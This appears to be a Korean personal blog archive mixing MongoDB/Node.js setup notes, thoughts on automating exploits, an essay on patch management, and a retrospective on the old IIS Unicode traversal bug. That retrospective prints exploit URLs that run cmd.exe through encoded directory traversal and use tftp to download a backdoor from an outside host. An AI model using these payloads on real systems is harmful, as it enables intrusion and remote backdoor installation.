'시스템'에 해당되는 글 37건

요즘 몇일째 삽질의 연속이다.

해결도 잘되고  진도는 나가긴하는데 ,,

 처음 접하니 다 까다롭구나.

시스템해킹 보다 개발이 손놓은지 꽤 되어서 더 힘든거 같다.

시스템해킹은 강의 할때 그래도 나름 감각은 있었는데,,

MongDB 설치

설정파일 변경

설치 확인

db version v3.6.3
git version: 9586e557d54ef70f9ca4b43c26892cd55257e1a5
OpenSSL version: OpenSSL 1.1.0g  2 Nov 2017
allocator: tcmalloc
modules: none
build environment:
    distarch: x86_64    target_arch: x86_64

구동확인 되었으면 다시 실행하지 말것 그래도 안되면 reboot

구동
systemctl start mongodb

상태 확인
systemctl status mongodb

정지
systemctl stop mongodb

부팅 시 실행 하고
systemctl enable mongodb

재부팅하면 서비스 구동

다른 창에서 포트 확인

MongDB 31337실행

관리자 계정 & 사용자 계정 생성

계정생성 확인

1참   0거짓

1이면 계정이 잘 생성 되었음

nodejs

Mongdb 설치

mongoose 설치

원래 인생은 한번만에 되면 재미 없는법 ㅋㅋ

오류 출몰 @_@

함수 바꾸니 잘 연결됨

MongoClient.connect-> mongoose.connect변경

샘플소스 실행

여기서는 삽질하지만 결과과 나름 잘 나옴.

리눅스 node-gyp 에러 error 뜰대

기존파일 지우고

아래로 심볼링 링크

해당 내용을 졸업 논문으로 작성하고 싶은데, 어느정도 퀄리티가 나올지 모르겠다.

정말 Appscan 처럼 시스템취약점도 자동으로 찾아서 공격하는
툴을 만들수 있을가?

단순 컴라이더나 핀툴 같은게 아닌 자동화 exploit처럼
상용 퍼징툴도 값만 엄청나게 집어 넣고,
메모리 모니터링 하면서 crash 터지는지만 보는거 같던데

아마도님 만드신 fsb 자동화 공격코드 분석해서 돌려 보았지만
제작 하기엔 너무 어려워보이던데,
BOF만 해도 여러가지고,
여러가지 OS 보호기법들도 많고,
ROP, remote exploit까지 있다면
현실 가능성이 전혀 없어 보이기도 한다.

올해는 데프콘에서 로봇 VS 로봇의 대결이 될지도 모른다고 하니
만약 시스템 자동화 공격코드가 현실이 된다면
해당 솔루션을 제작해서 팔면 사업 아이템으로 좋을거 같다.

하지만 제작이 결코 쉽지는 않을 것이다.
쉽다면 이미 상용화 되어서 팔고 있겠지
아마 나만 모르는건가 ㅎ

1] 버퍼오버플로우

   - RET까지 거리를 코드에 입력한다.

   - nop sled경우 쉘코드 길이를 계산하여 payload 제작

   - nop sled,  환경변수에 경우 스택에 저장된 주소값을 찾아 줌

  2] 포멧스트링

   아마도핵님 자동화 공격툴

3] RTL

  system함수 exeve함수만 찾으면 가능

4] ROP, RTL channing

  pop pop ret만 찾으면 가능

보안업무를 담당하거나 서버를 운영하다 보면 취약점을 패치해야 될 경우가 빈번히 발생된다.

보안취약점에 패치, 성능 상향에 대한 패치, 암호 알고리즘 지원 중단 , OS지원 종료 등 여러가지 상황에 대해서 OS 및 어플리케이션을 새로운걸 사용하던지 패치를 하던지 해당 문제에 대한 결과를 내야 된다.

1] 보안 취약점 패치

   보안 취약점은 바로 조치 해야 되는 긴급과 몰아서 한꺼번에 하는 정기 점검때 가능한 비긴급으로 나눌수 있다. 긴급은 Apache Struts2, glibc 취약점이나 NTP, Heart bleed등 remote exploit에 해당 된다. 비긴급은 local exploit예는 shell shock같은 취약점이나 커널, 어플리케이션 관련 취약점에  해당 된다.

shell shock도 CGI환경에서는 remote 명령이 실행이 가능하지만 우리나라 환경에서는 거의 사용되지 않는다.

보안담당자가 긴급, 비긴급을 나누는 기준은 정보를 빨리 습득해서 실력이 되면 직접 POC를 해보는게 가장 좋다. 그게 현실적으로 힘드니 페이스북에서 좋아요나 공유수가 많은 게시물 이나 보안 관련 언론에 기사화 되어서 등장하는 취약점 또는

상급기관에서 공문을 보내어 패치를 하고, 그 결과를 다시 보내 달라는 경우에 대해서는 긴급일 확률이 높다.

하지만 실제로 보안취약점 패치를 하는게 쉽지 않다.

최근에 다시 알려진 glibc같은것도 bind DNS서비스라면 DNS잠시 내려놓고, 패치를 진행 해야 된다.

glibc는 CVE코드만 보면 알듯이 작년에 나온건데 그 심각성에 대해서는 최근에 구글팀에서 POC를 공개하면서 다시 한번 이슈가 된 버그다.

그렇게 되면 해당 도메인 계정을 사용하는 모든 서비스가 죽는다.

그래서 낮에 하기도 꺼럼직 하다. 하지만 낮에 못하게 되면 밤 동안 어느정도 대책을 마련 해야 된다. 주로 sk인포섹나 Krcert에서 해당 공격에 대한 시그니처를 snort룰로 제공 한다.

 긴급이 힘든 경우는 해당 시그니처를 IPS나 웹방화벽에 등록을 먼저 해야 된다.

실제로 저 glibc를 작년에 패치하다가 linux 서버 몇몇에서 다른 어플리케이션 호환성으로 인해 롤백 시킨적도 있다.

그 만큼 취약점 패치는 호락 호락 한 작업이 아니다.

2] 성능 향상에 대한 패치

주로 리눅스 커널 컴파일을 이야기 하는거 같다. os protection이나 여러가지 성능이 굉장히 기하 급수적으로 빨리 발전 중이다. FreeBSD에 비해서도 리눅스가 월등히 앞서는 성능을 가진 OS가 되었다.

하지만 오픈소스 특성상 라이브러리간의 구버전과 신버전 간의 호환성, 이식성은 거의 최악이다. 그래서 커널 컴파일을 웬만하면 하지 말라고 하고, 구지 새로운 커널을 쓰고 싶으면 OS를 신규버전으로 재설치를 하는걸 권장 한다.

상용 was의 경우는 설치 전 필요한 라이브러리에 대한 버전을 체크하는것도 이런 이유 때문이다.

3] 암호 알고리즘 지원 중단

주로 Hash 함수가 collision이 발생된 경우다. auth를 위해 hash를 싼다면 해당 알고리즘 과감히 버려야 된다. md4, md5, sha1등이 최근이고 그 이전에 여러가지 구시대의 유물의 알고리즘이 많았을 것이다.

이것도 참 크리티컬 한것이 장비를 사용중인데 유지보수를 못받는 경우가 있다. 외산을 도입하였는데 벤더사나 서비스사가 망한 경우도 있고, 해당 장비 업체가 영세하여 개발을 해놓고 팔았는데 개발자가 계속 퇴사하여서 더 이상 신규 리뉴얼이 불가능한 경우도 있다.

대체 장비를 구매하여 쓰던지, 안쓰던지, 위험성을 가지고 사용할지는 판단을 잘 해야 된다.

4] OS 지원 종료

XP지원 종료, Windows 2003서버 지원 종료  OS는 구버전을 쓰면 안좋다. OS 보호모드도 빈약하다. aslr같은 경우도 비스타에 적용된것과 7에 적용된것이 좀 급이 다르다. 레드헷9.0 적용된것과 요즘 최신 버전에 적용된 것도 다르다. 하지만 너무 계속 신규 OS를 쓰는것도 조금 위험하다. 서버를 운영하는 입장에서는 OS가 출시되고 2년 정도 지난 시점에 어느정도 버그가 잡힌 후 사용하는것이 가장 안전한거 같다.

참 고전적인 버그다. 윈도우서버 2000에서 발생되었고 주로 2000년도 2001년 2002년까지 활동하였다. 윈도우 서버군을 디폴트로 설치하면 iis서버가 자동으로 구동 되었고, 자동으로 80포트를 통해 자동으로 10분 이내에 감염이 되었었다. 그만큼 숙주 서버가 많았다고 보면 된다.

그리고 MS에서 패치가 제대로 이루어지지 않아 지금 생각하면 당시 MS에서도 보안 전문 인력이 지금 처럼 많이 않았을거 같다.

exploit payload는 굉장히 단순하다. 타겟호스트에 스크립트 폴더를 이용하여 유니코드 문자열을 통해 cmd.exe이 사용 가능하다.

 http://target_host/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir

아래는 tftp(udp 69번)프로토콜을 통해 지금이라면 RAT와 같은 백도어를 업로드 하는 명령어다.

http://target_host/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+ tftp+-i+tftp_host+get+"upload_file

당시 윈도우 서버는 신선했다. MS에서 유닉스에 대항하여 서버OS를 만들었다는것도 대단하였고, GUI환경과 Active Directory신선한 개념을 들고 나왔다. 이걸로 인해 한때 붐이 일어나기도 했다. 지금 생각해보면 영업빨이 아닌가 하는 생각도 든다.

문제가 많았다. 보안적인 문제나 안정성, 서버OS인데도 블루스크린이 가끔 뜨기도 하였다. 그것보다 가장 큰 문제는 퍼포먼스 였다. GUI를 올리고 사용하다보니 당시 사양이 뛰어나지 않아서 성능성 굉장한 문제가 발생하였다.

당시 리눅스나 유닉스에서 놀던 해커들이 갑자기 윈도우시스템에 관심을 가지기 시작했다. 외국에서는 불가리아 해커 구닌스키가 유명하였고, 국내에서는 바**님이나 가***님이 선두로 이끌었고, ntfaq.co.kr 커뮤니티가 활발이 활동 하였다. 문제가 왜 심각 하였나면 MS의 패치가 제대로 이루어 지지 않아 몇번의 패치가 되어도 우회되는 취약점이 계속 발생 하였다.

즉 다시 말하면 당시 iis를 사용하였던 서버는 거의 다 털렸다고 보면 된다. snort나 오픈소스 웹방화벽이 있었지만 둘다 제구실을 못하던 시절이다.

취약점 스캐닝 툴로는 쉐도우 시스템 스캐너(SSS)라고  러시아산이 유명했고, 맥아피의 cybercop이나 랜가이드 같은 툴이 나오기 시작 하였다.

그리고 취약점의 전체 Lifecycle도 알수 있었다. 그전에 활용되던 다른 remote 관련 취약점들도 이정도까지 하나의 Lifecycle 형태로 돌지는 않았다.

제로데이-> 1 day -> 자동화 공격툴 -> 웜-> 소멸

웜이 나오면 그뒤로 점차 피해가 줄어드는 추세였다. 코드레드, 코드블루, nimda 다 iis유니코드의 변형들이다.

요즘 랜섬웨어가 하도 유행중이라고, 하는데 랜섬웨어가 활발이 활동 할수록 일반 유저들의 관심도가 많아지고 보안의식 또한 좋아진다. 그리고 기존의 중국, 북한등 해커들 입장에서는 공격이 점차 점차 어려워 질수도 있지 않을까 하는 생각도 든다.

아직도 윈도우 서버를 운영하기에는 조금 꺼리는 면이 있다. 업데이트를 하면 리부팅을 한다던지 레지스트리나 시스템파일에 계정으로 설치 하여도 막 설치되는 경우가 많다. 장애나 퍼포먼스에서는 아직도 원인 파악이 유닉스보다는 조금 힘든 부분도 있다. 하지만 엄청난 고수인 경우에는 iis가 엄청난 퍼포먼스를 낸다고 하던데 한번도 본적은 없다.

linux kernal.pptx

bandicam 2015-04-28 14-33-08-040.zip

학교 과제로 한것 인데 쓸대 없는 부분이 너무 많이 추가 된거 같다.